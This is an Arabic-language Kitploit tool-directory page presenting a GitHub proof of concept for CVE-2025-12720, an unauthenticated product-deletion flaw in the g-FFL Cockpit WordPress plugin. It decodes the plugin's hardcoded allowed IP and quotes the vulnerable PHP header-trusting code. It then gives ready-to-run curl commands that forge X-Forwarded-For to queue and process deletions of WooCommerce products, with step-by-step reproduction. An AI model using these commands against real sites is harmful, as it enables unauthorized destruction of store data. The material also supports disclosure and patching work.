Skip to content
KitploitKITPLOIT
أدواتالمدونة
إرسال
أدواتالمدونة
إرسال

أدوات الاختراق واختبار الاختراق والأمن السيبراني لترسانتك الأمنية!

Kitploit هو دليل لأدوات الاختراق والأمن السيبراني واختبار الاختراق. اكتشف آخر تحديثات المشاريع للعثور على الثغرات وتحليل الأنظمة وأتمتة الاختبارات وتعزيز أمنك.

··الخلاصات·اتصال·الخصوصية·© 2026 Kitploit

دليل الأدوات

الفئات

عرض جميع الفئات
Loading categories
أدوات/GitHubGitHub/d0n601/cve-2025-12720
تحليل الثغرات الأمنيةالاستغلالاستغلال تطبيقات الويباختبار أمان APIالمصادقةسوء التكوين
GitHubd0n601/cve-2025-12720

CVE-2025-12720

g-FFL Cockpit <= 1.7.1 - تفويض غير صحيح لحذف منتج بدون مصادقة

عرض المستودع
6منذ 10 أشهرلم تتم المراجعة بعد

الأكثر شعبية

عرض الكل →

اكتشف الأدوات الأكثر استخدامًا من قبل مجتمعنا.

استكشف جميع الأدوات

تصفح مجموعتنا من الأدوات

عرض جميع الأدوات →
مشاركة

g-FFL Cockpit <= 1.7.1 - حذف منتجات عشوائي بدون مصادقة

لا يقوم إضافة g-FFL Cockpit بتنفيذ فحوص ترخيص مناسبة على نقاط نهاية REST API الخاصة بـ queue و process، مما يسمح للمستخدمين غير المصادق عليهم بحذف منتجات WooCommerce عشوائية عن طريق تزوير رؤوس HTTP لتجاوز المصادقة المستندة إلى IP.

ملخص الاستغلال

root@kitploit:~
TARGET_SITE="http://example.com"
curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/queue -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json" -d '{"action":"delete","products":[{"id":105}]}' && curl -X POST $TARGET_SITE/wp-json/fflcockpit/v1/process -H "X-Forwarded-For: 3.212.185.187" -H "Content-Type: application/json"

التفاصيل

تستخدم نقاط نهاية REST API الخاصة بـ queue و مصادقة مستندة إلى IP يمكن تجاوزها عن طريق تزوير رؤوس HTTP مثل أو . تعتمد آلية المصادقة على التي تثق في الرؤوس التي يتحكم بها المستخدم، وتتحقق من عنوان IP ثابت مخزن في كود المصدر للإضافة.

process
X-Forwarded-For
CF-Connecting-IP
get_client_ip()

موجود في class-sync-endpoint.php:

root@kitploit:~
34:        register_rest_route('fflcockpit/v1', '/queue', [
35:            'methods' => 'POST',
36:            'callback' => [__CLASS__, 'handle_enqueue_only'],
37:            'permission_callback' => fn() => self::fflcockpit_is_allowed(self::$fflckey),
38:        ]);

تستخدم دالة fflcockpit_is_allowed() عنوان IP ثابت (base64: My4yMTIuMTg1LjE4Nw==، مفكوك: 3.212.185.187) وهو ظاهر في كود المصدر للإضافة.

مقتطف ضعيف من class-sync-endpoint.php:

root@kitploit:~
11:    private static function get_client_ip(): string {
12:        $ip = $_SERVER['REMOTE_ADDR'] ?? 'unknown';
13:        if (!empty($_SERVER['HTTP_CF_CONNECTING_IP'])) {
14:            // CloudFlare can also have multiple IPs, parse like X-Forwarded-For
15:            $cf_ips = explode(',', $_SERVER['HTTP_CF_CONNECTING_IP']);
16:            $ip = trim($cf_ips[0]);  // ⚠️ Trusts user-controlled header
17:        } elseif (!empty($_SERVER['HTTP_X_FORWARDED_FOR'])) {
18:            $forwarded_ips = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']);
19:            $ip = trim($forwarded_ips[0]);  // ⚠️ Trusts user-controlled header
20:        }
21:        return trim($ip);
22:    }

تقوم دالة process_product() بتوجيه عمليات الحذف إلى sql_delete_product()، التي تقوم بحذف SQL مباشر لمنتجات WooCommerce.

تطبيق الحذف الضعيف من class-update-processor.php:

root@kitploit:~
634:            // Delete the product post
635:            $deleted = $wpdb->delete($wpdb->posts, ['ID' => $product_id], ['%d']);
636:
637:            if ($deleted === false) {
638:                $wpdb->query('ROLLBACK');
639:                throw new Exception('Failed to delete product from database.');
640:            }
641:
642:            $deleted_items[] = "product_post";
643:
644:            $wpdb->query('COMMIT');

إعادة الإنتاج يدويًا

ملاحظة: يتطلب g-FFL Cockpit WooCommerce

  1. انتقل إلى موقع WordPress المستهدف المثبت عليه إضافة g-FFL Cockpit.

  2. استخرج عنوان IP الثابت من كود المصدر للإضافة. عنوان IP مشفر بـ base64 كـ My4yMTIuMTg1LjE4Nw== في class-sync-endpoint.php، والذي يفك تشفيره إلى 3.212.185.187.

  3. نفذ أوامر curl التالية لوضع حذف المنتج في قائمة الانتظار ومعالجته:

root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/queue \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json" \
  -d '{"action": "delete", "products": [{"id": 105}]}'
  1. قم بمعالجة الحذف في قائمة الانتظار لتنفيذ إزالة المنتج فعليًا:
root@kitploit:~
curl -X POST http://techcorp.cc/wp-json/fflcockpit/v1/process \
  -H "X-Forwarded-For: 3.212.185.187" \
  -H "Content-Type: application/json"
  1. ستتلقى تأكيدًا بأن الحذف قد اكتمل:
root@kitploit:~
{
  "status": "completed"
}

يتم حذف المنتج نهائيًا من قاعدة بيانات WooCommerce، بما في ذلك جميع البيانات الوصفية المرتبطة، وعلاقات المصطلحات، والصور.

تنزيل الأداة